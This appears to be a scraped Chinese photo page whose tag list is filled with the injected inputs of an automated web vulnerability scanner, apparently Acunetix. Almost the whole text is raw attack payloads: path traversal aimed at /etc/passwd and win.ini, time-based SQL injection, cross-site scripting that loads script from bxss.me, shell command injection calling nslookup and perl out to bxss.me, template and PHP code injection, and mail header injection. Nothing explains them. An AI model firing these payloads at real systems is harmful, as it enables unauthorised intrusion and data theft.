×
照片标签：
- 1
- 1BHlNX4X7nO
- response.write(9214331*9594972)
- '+response.write(9214331*9594972)+'
- y701s6Bh
- ../../../../../../../../../../../../../../etc/passwd
- "+response.write(9214331*9594972)+"
- ../../../../../../../../../../../../../../windows/win.ini
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- ../../../../../../../../../../etc/passwd%00.jpg
- %0abcc:074625.3840-571657.3840.96f5a.19119.2@bxss.me
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- to@example.com>%0d%0abcc:074625.3840-571658.3840.96f5a.19119.2@bxss.me
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- <esi:include src="http://bxss.me/rpb.png"/>
- /etc/passwd
- ${9999233+10000009}
- %2fetc%2fpasswd
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- echo tsbujg$()\ euazvq\nz^xyu||a #' &echo tsbujg$()\ euazvq\nz^xyu||a #|" &echo tsbujg$()\ euazvq\nz^xyu||a #
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- &echo aiwtiw$()\ biyutk\nz^xyu||a #' &echo aiwtiw$()\ biyutk\nz^xyu||a #|" &echo aiwtiw$()\ biyutk\nz^xyu||a #
- |echo jjharp$()\ zoiwfi\nz^xyu||a #' |echo jjharp$()\ zoiwfi\nz^xyu||a #|" |echo jjharp$()\ zoiwfi\nz^xyu||a #
- (nslookup hitylewxwwvuk7c5bc.bxss.me||perl -e "gethostbyname('hitylewxwwvuk7c5bc.bxss.me')")
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- file:///etc/passwd
- $(nslookup hitfybctkhyli95241.bxss.me||perl -e "gethostbyname('hitfybctkhyli95241.bxss.me')")
- )
- &(nslookup hittihudauqljccead.bxss.me||perl -e "gethostbyname('hittihudauqljccead.bxss.me')")&'\"`0&(nslookup hittihudauqljccead.bxss.me||perl -e "gethostbyname('hittihudauqljccead.bxss.me')")&`'
- !(()&&!|*|*|
- /\../\../\../\../\../\../\../etc/passwd
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- |(nslookup hitfjetxwjaykd8986.bxss.me||perl -e "gethostbyname('hitfjetxwjaykd8986.bxss.me')")
- 1some_inexistent_file_with_long_name%00.jpg
- ^(#$!@#$)(()))******
- /WEB-INF/web.xml
- `(nslookup hitaotnehwkps013ca.bxss.me||perl -e "gethostbyname('hitaotnehwkps013ca.bxss.me')")`
- Http://bxss.me/t/fit.txt
- C:\WINDOWS\system32\drivers\etc\hosts
- '.gethostbyname(lc('hitbf'.'gtiobckq58c40.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(83).chr(120).chr(86).'
- http://bxss.me/t/fit.txt%3F.jpg
- ../../../../../../../../../../windows/win.ini%00.jpg
- /../../../../../../../../../../boot.ini
- bxss.me
- ".gethostbyname(lc("hitwl"."zxenilymbebb2.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(88).chr(112).chr(70)."
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- "+"A".concat(70-3).concat(22*4).concat(111).concat(75).concat(118).concat(66)+(require"socket" Socket.gethostbyname("hitzz"+"baluwxms162cc.bxss.me.")[3].to_s)+"
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- '+'A'.concat(70-3).concat(22*4).concat(113).concat(86).concat(111).concat(74)+(require'socket' Socket.gethostbyname('hitup'+'zuqwxpejec852.bxss.me.')[3].to_s)+'
- &n923408=v948396
- /xfs.bxss.me
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- HttP://bxss.me/t/xss.html?%00
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- bxss.me/t/xss.html?%00
- WEB-INF/web.xml
- '"
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- <!--
- ';print(md5(31337));$a='
- WEB-INF\web.xml
- ";print(md5(31337));$a="
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- 1'"()&%<acx><ScRiPt >QMu6(9976)</ScRiPt>
- '"()&%<acx><ScRiPt >QMu6(9693)</ScRiPt>
- 19586512
- acu6429%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6429
- acux9681%C0%BEz1%C0%BCz2a%90bcxuca9681
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu9845%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9845
- acux9606%C0%BEz1%C0%BCz2a%90bcxuca9606
- acu4717%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4717
- acux4475%C0%BEz1%C0%BCz2a%90bcxuca4475
- 1%22onmouseover=QMu6(97812)%22
- 1"onmouseover=QMu6(95702)"
- 1" YA9y=QMu6([!+!]) m5D="
- 1\u0022onmouseover=QMu6(98853)\u0022
- 3I7VEUla
- -1 OR 2+522-522-1=0+0+0+1 --
- -1 OR 2+510-510-1=0+0+0+1
- -1' OR 2+197-197-1=0+0+0+1 --
- -1' OR 2+534-534-1=0+0+0+1 or 'g3ALCB99'='
- -1" OR 2+222-222-1=0+0+0+1 --
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%51%4D%75%36%28%39%39%37%35%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(QMu6(9084))'bad="
- 1"><script>QMu6(9242)</script>
- 1<ScRiPt >QMu6(9159)</ScRiPt>
- 1<WPPNXF>7OOTS[!+!]</WPPNXF>
- if(now()=sysdate()
- sleep(15)
- 0)
- 1<script>QMu6(9694)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%51%4D%75%36%28%39%31%34%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >QMu6(9428)</ScRiPt>
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9528></ScRiPt>
- 1< ScRiPt >QMu6(9004)</ScRiPt>
- 1<isindex type=image src=1 onerror=QMu6(9919)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9677'>
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- j148lQh6'
- -5 OR 68=(SELECT 68 FROM PG_SLEEP(15))--
- -5) OR 78=(SELECT 78 FROM PG_SLEEP(15))--
- -1)) OR 457=(SELECT 457 FROM PG_SLEEP(15))--
- oPMaY2vY' OR 396=(SELECT 396 FROM PG_SLEEP(15))--
- qNl90U5M') OR 601=(SELECT 601 FROM PG_SLEEP(15))--
- tmTEe9X2')) OR 288=(SELECT 288 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@En5Kj
- QIV37G00
- -1 OR 2+243-243-1=0+0+0+1 --
- -1 OR 2+132-132-1=0+0+0+1
- -1' OR 2+395-395-1=0+0+0+1 --
- -1' OR 2+350-350-1=0+0+0+1 or 'oRaDRzBE'='
- -1" OR 2+556-556-1=0+0+0+1 --
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- QLYpWuVa'; waitfor delay '0:0:15' --
- -5 OR 42=(SELECT 42 FROM PG_SLEEP(15))--
- -5) OR 819=(SELECT 819 FROM PG_SLEEP(15))--
- -1)) OR 878=(SELECT 878 FROM PG_SLEEP(15))--
- hqqrcvPI' OR 806=(SELECT 806 FROM PG_SLEEP(15))--
- pQ3rKRZd') OR 435=(SELECT 435 FROM PG_SLEEP(15))--
- UzOEaSwp')) OR 394=(SELECT 394 FROM PG_SLEEP(15))--
- @@1p80X
- 1'"()&%<acx><ScRiPt >KQhg(9148)</ScRiPt>
- '"()&%<acx><ScRiPt >KQhg(9053)</ScRiPt>
- NG9mviso
- -1 OR 2+62-62-1=0+0+0+1 --
- -1 OR 2+262-262-1=0+0+0+1
- -1' OR 2+740-740-1=0+0+0+1 --
- -1' OR 2+743-743-1=0+0+0+1 or '087zlw1Q'='
- -1" OR 2+970-970-1=0+0+0+1 --
- joB6qHFz'; waitfor delay '0:0:15' --
- -5 OR 464=(SELECT 464 FROM PG_SLEEP(15))--
- -5) OR 103=(SELECT 103 FROM PG_SLEEP(15))--
- -1)) OR 429=(SELECT 429 FROM PG_SLEEP(15))--
- maVL2A9z' OR 719=(SELECT 719 FROM PG_SLEEP(15))--
- NMCAUTnY') OR 360=(SELECT 360 FROM PG_SLEEP(15))--
- ydPdjqP3')) OR 577=(SELECT 577 FROM PG_SLEEP(15))--
- @@gU4f0
- response.write(9699497*9036192)
- '+response.write(9699497*9036192)+'
- "+response.write(9699497*9036192)+"
- echo aynvcb$()\ vwvhhz\nz^xyu||a #' &echo aynvcb$()\ vwvhhz\nz^xyu||a #|" &echo aynvcb$()\ vwvhhz\nz^xyu||a #
- &echo noldwk$()\ wyagvn\nz^xyu||a #' &echo noldwk$()\ wyagvn\nz^xyu||a #|" &echo noldwk$()\ wyagvn\nz^xyu||a #
- |echo gynnnd$()\ lqvjte\nz^xyu||a #' |echo gynnnd$()\ lqvjte\nz^xyu||a #|" |echo gynnnd$()\ lqvjte\nz^xyu||a #
- (nslookup hitxbsqecxvdg06594.bxss.me||perl -e "gethostbyname('hitxbsqecxvdg06594.bxss.me')")
- $(nslookup hitknuhfimccp50e8b.bxss.me||perl -e "gethostbyname('hitknuhfimccp50e8b.bxss.me')")
- &(nslookup hitacturgudcyd9fac.bxss.me||perl -e "gethostbyname('hitacturgudcyd9fac.bxss.me')")&'\"`0&(nslookup hitacturgudcyd9fac.bxss.me||perl -e "gethostbyname('hitacturgudcyd9fac.bxss.me')")&`'
- |(nslookup hitennozdxzdjb6877.bxss.me||perl -e "gethostbyname('hitennozdxzdjb6877.bxss.me')")
- `(nslookup hityvtvodfhnhe21e9.bxss.me||perl -e "gethostbyname('hityvtvodfhnhe21e9.bxss.me')")`
- 2GGXAl5L
- %0abcc:074625.3840-717903.3840.96f5a.19119.2@bxss.me
- to@example.com>%0d%0abcc:074625.3840-717904.3840.96f5a.19119.2@bxss.me
- ${10000484+10000079}
- &n955791=v928101
- '.gethostbyname(lc('hitad'.'zwevxoff1e885.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(75).chr(99).chr(90).'
- ".gethostbyname(lc("hitcy"."vkcxyfukaff55.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(74).chr(110).chr(85)."
- "+"A".concat(70-3).concat(22*4).concat(122).concat(70).concat(116).concat(73)+(require"socket" Socket.gethostbyname("hiths"+"jzpgogxv39130.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(99).concat(90).concat(117).concat(70)+(require'socket' Socket.gethostbyname('hitbt'+'giihqpkk2b6b4.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >p7lJ(9446)</ScRiPt>
- '"()&%<acx><ScRiPt >p7lJ(9204)</ScRiPt>
- 19750186
- acu10555%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10555
- acux4445%C0%BEz1%C0%BCz2a%90bcxuca4445
- acu3616%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3616
- acux9092%C0%BEz1%C0%BCz2a%90bcxuca9092
- acu7495%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7495
- acux9067%C0%BEz1%C0%BCz2a%90bcxuca9067
- 1%22onmouseover=p7lJ(99902)%22
- 1"onmouseover=p7lJ(97882)"
- 1" bgPH=p7lJ([!+!]) h68="
- 1\u0022onmouseover=p7lJ(95913)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%70%37%6C%4A%28%39%38%38%36%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(p7lJ(9589))'bad="
- 1"><script>p7lJ(9013)</script>
- 1<ScRiPt >p7lJ(9174)</ScRiPt>
- 1<W1V85R>CFXNS[!+!]</W1V85R>
- 1<script>p7lJ(9228)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%37%6C%4A%28%39%38%36%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >p7lJ(9250)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9868></ScRiPt>
- 1< ScRiPt >p7lJ(9231)</ScRiPt>
- 1<isindex type=image src=1 onerror=p7lJ(9013)>
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9886'>
- 1<body onload=p7lJ(9568)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=p7lJ(9640)>
- 1<img src=xyz OnErRor=p7lJ(9361)>
- 1<img/src=">" onerror=alert(9207)>
- %31%3C%53%63%52%69%50%74%20%3E%70%37%6C%4A%289270%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\p7lJ(9736)\u003C/sCripT\u003E
- 1<ScRiPt>p7lJ(9375)</sCripT>
- 1<input autofocus onfocus=p7lJ(9662)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(p7lJ(9241))}
- 1tPgCU <ScRiPt >p7lJ(9304)</ScRiPt>
- 1<WT2KQL>WV3DH[!+!]</WT2KQL>
- 1<ifRAme sRc=9859.com></IfRamE>
- 1<aMtRx07 x=9042>
- 1<img sRc='http://attacker-9043/log.php?
- 1<axQKYzL<
- 1CqXI8GelIO
- response.write(9973086*9171286)
- '+response.write(9973086*9171286)+'
- "+response.write(9973086*9171286)+"
- tfis9O5O
- 1 bcc:074625.3840-872000.3840.4c67b.19120.2@bxss.me
- echo iogief$()\ oexpxl\nz^xyu||a #' &echo iogief$()\ oexpxl\nz^xyu||a #|" &echo iogief$()\ oexpxl\nz^xyu||a #
- to@example.com> bcc:074625.3840-872001.3840.4c67b.19120.2@bxss.me
- &echo zaobpm$()\ abxxvm\nz^xyu||a #' &echo zaobpm$()\ abxxvm\nz^xyu||a #|" &echo zaobpm$()\ abxxvm\nz^xyu||a #
- |echo aobfek$()\ bbzdbp\nz^xyu||a #' |echo aobfek$()\ bbzdbp\nz^xyu||a #|" |echo aobfek$()\ bbzdbp\nz^xyu||a #
- (nslookup hitofexepawrbb8a5d.bxss.me||perl -e "gethostbyname('hitofexepawrbb8a5d.bxss.me')")
- 12345'"\'\")
- $(nslookup hitqmjwzjrobi2ffcc.bxss.me||perl -e "gethostbyname('hitqmjwzjrobi2ffcc.bxss.me')")
- &(nslookup hitlehemzqemxd9007.bxss.me||perl -e "gethostbyname('hitlehemzqemxd9007.bxss.me')")&'\"`0&(nslookup hitlehemzqemxd9007.bxss.me||perl -e "gethostbyname('hitlehemzqemxd9007.bxss.me')")&`'
- ../1
- |(nslookup hitehiwzibloh87a9a.bxss.me||perl -e "gethostbyname('hitehiwzibloh87a9a.bxss.me')")
- 1<esi:include src="http://bxss.me/rpb.png"/>
- `(nslookup hityouwgrmmga4b6ef.bxss.me||perl -e "gethostbyname('hityouwgrmmga4b6ef.bxss.me')")`
- ${9999773+10000404}
- 1&n996869=v912468
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- http://bxss.me/t/fit.txt?.jpg
- '"()
- '.gethostbyname(lc('hitma'.'mexhqspb94e1e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(90).chr(99).chr(87).'
- ".gethostbyname(lc("hitxx"."ncaxpuci52e2f.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(65).chr(116).chr(85)."
- '
- -1)) OR 535=(SELECT 535 FROM PG_SLEEP(15))--
- XyQ47mWx' OR 760=(SELECT 760 FROM PG_SLEEP(15))--
- @@ccODK
- PIHnUf42
- -1 OR 2+541-541-1=0+0+0+1 --
- -1 OR 2+275-275-1=0+0+0+1
- -1' OR 2+139-139-1=0+0+0+1 --
- -1' OR 2+617-617-1=0+0+0+1 or 'o9HDdzYw'='
- -1" OR 2+801-801-1=0+0+0+1 --
- RsrfUKUK'
- -5 OR 919=(SELECT 919 FROM PG_SLEEP(15))--
- -5) OR 330=(SELECT 330 FROM PG_SLEEP(15))--
- -1)) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
- MvvDABTV' OR 473=(SELECT 473 FROM PG_SLEEP(15))--
- bVVPzCW3') OR 221=(SELECT 221 FROM PG_SLEEP(15))--
- jZpte1QU')) OR 174=(SELECT 174 FROM PG_SLEEP(15))--
- @@pi0vi
微信扫一扫, 保存到手机
